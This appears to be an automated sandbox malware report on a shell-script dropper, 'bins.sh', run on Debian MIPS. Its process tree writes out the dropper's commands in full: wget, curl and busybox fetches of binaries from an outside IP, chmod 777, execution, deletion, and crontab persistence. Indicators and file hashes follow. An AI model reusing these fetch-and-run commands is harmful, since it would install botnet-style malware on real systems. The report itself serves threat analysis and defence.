Analysis

  • max time kernel
    123s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    06/11/2024, 01:12

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241106-bkhj3svmaj
  • SHA256 cc685abb25c89411a283ec172171d2c67e2914ed59556ea4c15d6d71cf36ab1d
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (1484) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 9 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 20 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:713
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:716
        • /usr/bin/wget
          wget http://216.126.231.240/bins/sjIMk0XZCnfR9wlxrUqlLufkKE4tjSTxBD
          2⤵
          • Writes file to tmp directory
          PID:718
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/sjIMk0XZCnfR9wlxrUqlLufkKE4tjSTxBD
          2⤵
          • Writes file to tmp directory
          PID:741
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/sjIMk0XZCnfR9wlxrUqlLufkKE4tjSTxBD
          2⤵
          • Writes file to tmp directory
          PID:743
        • /bin/chmod
          chmod 777 sjIMk0XZCnfR9wlxrUqlLufkKE4tjSTxBD
          2⤵
          • File and Directory Permissions Modification
          PID:744
        • /tmp/sjIMk0XZCnfR9wlxrUqlLufkKE4tjSTxBD
          ./sjIMk0XZCnfR9wlxrUqlLufkKE4tjSTxBD
          2⤵
          • Executes dropped EXE
          PID:745
        • /bin/rm
          rm sjIMk0XZCnfR9wlxrUqlLufkKE4tjSTxBD
          2⤵
            PID:747
          • /usr/bin/wget
            wget http://216.126.231.240/bins/aLa7C3iyR4eO9Zm0hO8up0HZvL3upTbZMx
            2⤵
            • Writes file to tmp directory
            PID:748
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/aLa7C3iyR4eO9Zm0hO8up0HZvL3upTbZMx
            2⤵
            • Writes file to tmp directory
            PID:749
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/aLa7C3iyR4eO9Zm0hO8up0HZvL3upTbZMx
            2⤵
            • Writes file to tmp directory
            PID:752
          • /bin/chmod
            chmod 777 aLa7C3iyR4eO9Zm0hO8up0HZvL3upTbZMx
            2⤵
            • File and Directory Permissions Modification
            PID:757
          • /tmp/aLa7C3iyR4eO9Zm0hO8up0HZvL3upTbZMx
            ./aLa7C3iyR4eO9Zm0hO8up0HZvL3upTbZMx
            2⤵
            • Executes dropped EXE
            PID:758
          • /bin/rm
            rm aLa7C3iyR4eO9Zm0hO8up0HZvL3upTbZMx
            2⤵
              PID:762
            • /usr/bin/wget
              wget http://216.126.231.240/bins/Om0W0uwIoTbDSWaXn9BXoJOerWkFCiFN6A
              2⤵
              • Writes file to tmp directory
              PID:763
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/Om0W0uwIoTbDSWaXn9BXoJOerWkFCiFN6A
              2⤵
              • Writes file to tmp directory
              PID:776
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/Om0W0uwIoTbDSWaXn9BXoJOerWkFCiFN6A
              2⤵
              • Writes file to tmp directory
              PID:790
            • /bin/chmod
              chmod 777 Om0W0uwIoTbDSWaXn9BXoJOerWkFCiFN6A
              2⤵
              • File and Directory Permissions Modification
              PID:798
            • /tmp/Om0W0uwIoTbDSWaXn9BXoJOerWkFCiFN6A
              ./Om0W0uwIoTbDSWaXn9BXoJOerWkFCiFN6A
              2⤵
              • Executes dropped EXE
              PID:799
            • /bin/rm
              rm Om0W0uwIoTbDSWaXn9BXoJOerWkFCiFN6A
              2⤵
                PID:803
              • /usr/bin/wget
                wget http://216.126.231.240/bins/Pv8ToGx1rDM3QYTkWnA0HySA4v63kHpSMg
                2⤵
                • Writes file to tmp directory
                PID:805
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/Pv8ToGx1rDM3QYTkWnA0HySA4v63kHpSMg
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:808
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/Pv8ToGx1rDM3QYTkWnA0HySA4v63kHpSMg
                2⤵
                • Writes file to tmp directory
                PID:809
              • /bin/chmod
                chmod 777 Pv8ToGx1rDM3QYTkWnA0HySA4v63kHpSMg
                2⤵
                • File and Directory Permissions Modification
                PID:810
              • /tmp/Pv8ToGx1rDM3QYTkWnA0HySA4v63kHpSMg
                ./Pv8ToGx1rDM3QYTkWnA0HySA4v63kHpSMg
                2⤵
                • Executes dropped EXE
                PID:811
              • /bin/rm
                rm Pv8ToGx1rDM3QYTkWnA0HySA4v63kHpSMg
                2⤵
                  PID:813
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/BrndbWFzbSO7UklPUdtmYxYVhFyurdAxD9
                  2⤵
                  • Writes file to tmp directory
                  PID:814
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/BrndbWFzbSO7UklPUdtmYxYVhFyurdAxD9
                  2⤵
                  • Writes file to tmp directory
                  PID:815
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/BrndbWFzbSO7UklPUdtmYxYVhFyurdAxD9
                  2⤵
                  • Writes file to tmp directory
                  PID:825
                • /bin/chmod
                  chmod 777 BrndbWFzbSO7UklPUdtmYxYVhFyurdAxD9
                  2⤵
                  • File and Directory Permissions Modification
                  PID:832
                • /tmp/BrndbWFzbSO7UklPUdtmYxYVhFyurdAxD9
                  ./BrndbWFzbSO7UklPUdtmYxYVhFyurdAxD9
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:833
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:836
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:837
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:839
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:841
                      • /bin/rm
                        rm BrndbWFzbSO7UklPUdtmYxYVhFyurdAxD9
                        2⤵
                          PID:850
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/glexprhDELBGmLLkkoYuNgoBhZ9xgXJI6u
                          2⤵
                            PID:854
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/glexprhDELBGmLLkkoYuNgoBhZ9xgXJI6u
                            2⤵
                              PID:857
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/glexprhDELBGmLLkkoYuNgoBhZ9xgXJI6u
                              2⤵
                              • Writes file to tmp directory
                              PID:940
                            • /bin/chmod
                              chmod 777 glexprhDELBGmLLkkoYuNgoBhZ9xgXJI6u
                              2⤵
                              • File and Directory Permissions Modification
                              PID:941
                            • /tmp/glexprhDELBGmLLkkoYuNgoBhZ9xgXJI6u
                              ./glexprhDELBGmLLkkoYuNgoBhZ9xgXJI6u
                              2⤵
                              • Executes dropped EXE
                              PID:942
                            • /bin/rm
                              rm glexprhDELBGmLLkkoYuNgoBhZ9xgXJI6u
                              2⤵
                                PID:944
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/USwxcJPZWHISUOcQEZnrWyugTCN6Y8C0Bh
                                2⤵
                                • Writes file to tmp directory
                                PID:945
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/USwxcJPZWHISUOcQEZnrWyugTCN6Y8C0Bh
                                2⤵
                                  PID:946
                                • /bin/busybox
                                  /bin/busybox wget http://216.126.231.240/bins/USwxcJPZWHISUOcQEZnrWyugTCN6Y8C0Bh
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:948
                                • /bin/chmod
                                  chmod 777 USwxcJPZWHISUOcQEZnrWyugTCN6Y8C0Bh
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:974
                                • /tmp/USwxcJPZWHISUOcQEZnrWyugTCN6Y8C0Bh
                                  ./USwxcJPZWHISUOcQEZnrWyugTCN6Y8C0Bh
                                  2⤵
                                  • Executes dropped EXE
                                  PID:975
                                • /bin/rm
                                  rm USwxcJPZWHISUOcQEZnrWyugTCN6Y8C0Bh
                                  2⤵
                                    PID:977
                                  • /usr/bin/wget
                                    wget http://216.126.231.240/bins/p3ndmgw00mZ00I1OI2lsuupmlykeCCQ9Ij
                                    2⤵
                                      PID:978
                                    • /usr/bin/curl
                                      curl -O http://216.126.231.240/bins/p3ndmgw00mZ00I1OI2lsuupmlykeCCQ9Ij
                                      2⤵
                                        PID:979
                                      • /bin/busybox
                                        /bin/busybox wget http://216.126.231.240/bins/p3ndmgw00mZ00I1OI2lsuupmlykeCCQ9Ij
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:980
                                      • /bin/chmod
                                        chmod 777 p3ndmgw00mZ00I1OI2lsuupmlykeCCQ9Ij
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:981
                                      • /tmp/p3ndmgw00mZ00I1OI2lsuupmlykeCCQ9Ij
                                        ./p3ndmgw00mZ00I1OI2lsuupmlykeCCQ9Ij
                                        2⤵
                                        • Executes dropped EXE
                                        PID:982
                                      • /bin/rm
                                        rm p3ndmgw00mZ00I1OI2lsuupmlykeCCQ9Ij
                                        2⤵
                                          PID:984
                                        • /usr/bin/wget
                                          wget http://216.126.231.240/bins/cK8Rz6M55WCLsdN6mz0NBK4irXuKnkre7W
                                          2⤵
                                            PID:985
                                          • /usr/bin/curl
                                            curl -O http://216.126.231.240/bins/cK8Rz6M55WCLsdN6mz0NBK4irXuKnkre7W
                                            2⤵
                                              PID:986
                                            • /bin/busybox
                                              /bin/busybox wget http://216.126.231.240/bins/cK8Rz6M55WCLsdN6mz0NBK4irXuKnkre7W
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:991
                                            • /bin/chmod
                                              chmod 777 cK8Rz6M55WCLsdN6mz0NBK4irXuKnkre7W
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:996
                                            • /tmp/cK8Rz6M55WCLsdN6mz0NBK4irXuKnkre7W
                                              ./cK8Rz6M55WCLsdN6mz0NBK4irXuKnkre7W
                                              2⤵
                                              • Executes dropped EXE
                                              PID:997
                                            • /bin/rm
                                              rm cK8Rz6M55WCLsdN6mz0NBK4irXuKnkre7W
                                              2⤵
                                                PID:998
                                              • /usr/bin/wget
                                                wget http://216.126.231.240/bins/Lb7gWMFKpSVrmcj5RvqKyuZX04KMA8PAqu
                                                2⤵
                                                  PID:999
                                                • /usr/bin/curl
                                                  curl -O http://216.126.231.240/bins/Lb7gWMFKpSVrmcj5RvqKyuZX04KMA8PAqu
                                                  2⤵
                                                    PID:1000

                                                Network

                                                      MITRE ATT&CK Enterprise v15

                                                      Replay Monitor

                                                      Loading Replay Monitor...

                                                      Downloads

                                                      BrndbWFzbSO7UklPUdtmYxYVhFyurdAxD9

                                                      • Path /tmp/BrndbWFzbSO7UklPUdtmYxYVhFyurdAxD9
                                                      • Size 151KB
                                                      • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      Om0W0uwIoTbDSWaXn9BXoJOerWkFCiFN6A

                                                      • Path /tmp/Om0W0uwIoTbDSWaXn9BXoJOerWkFCiFN6A
                                                      • Size 107KB
                                                      • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      Pv8ToGx1rDM3QYTkWnA0HySA4v63kHpSMg

                                                      • Path /tmp/Pv8ToGx1rDM3QYTkWnA0HySA4v63kHpSMg
                                                      • Size 98KB
                                                      • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      USwxcJPZWHISUOcQEZnrWyugTCN6Y8C0Bh

                                                      • Path /tmp/USwxcJPZWHISUOcQEZnrWyugTCN6Y8C0Bh
                                                      • Size 99KB
                                                      • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      aLa7C3iyR4eO9Zm0hO8up0HZvL3upTbZMx

                                                      • Path /tmp/aLa7C3iyR4eO9Zm0hO8up0HZvL3upTbZMx
                                                      • Size 151KB
                                                      • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      cK8Rz6M55WCLsdN6mz0NBK4irXuKnkre7W

                                                      • Path /tmp/cK8Rz6M55WCLsdN6mz0NBK4irXuKnkre7W
                                                      • Size 111KB
                                                      • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      glexprhDELBGmLLkkoYuNgoBhZ9xgXJI6u

                                                      • Path /tmp/glexprhDELBGmLLkkoYuNgoBhZ9xgXJI6u
                                                      • Size 117KB
                                                      • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      p3ndmgw00mZ00I1OI2lsuupmlykeCCQ9Ij

                                                      • Path /tmp/p3ndmgw00mZ00I1OI2lsuupmlykeCCQ9Ij
                                                      • Size 127KB
                                                      • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      sjIMk0XZCnfR9wlxrUqlLufkKE4tjSTxBD

                                                      • Path /tmp/sjIMk0XZCnfR9wlxrUqlLufkKE4tjSTxBD
                                                      • Size 177KB
                                                      • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      tmp.afiIwg

                                                      • Path /var/spool/cron/crontabs/tmp.afiIwg
                                                      • Size 210B
                                                      • SHA256 16d6bc1a71989c86d8f0b6db5fcd8bb6ed3934b35174b2e236a492298ab5c0a6
                                                      • MD5 SHA1 SHA512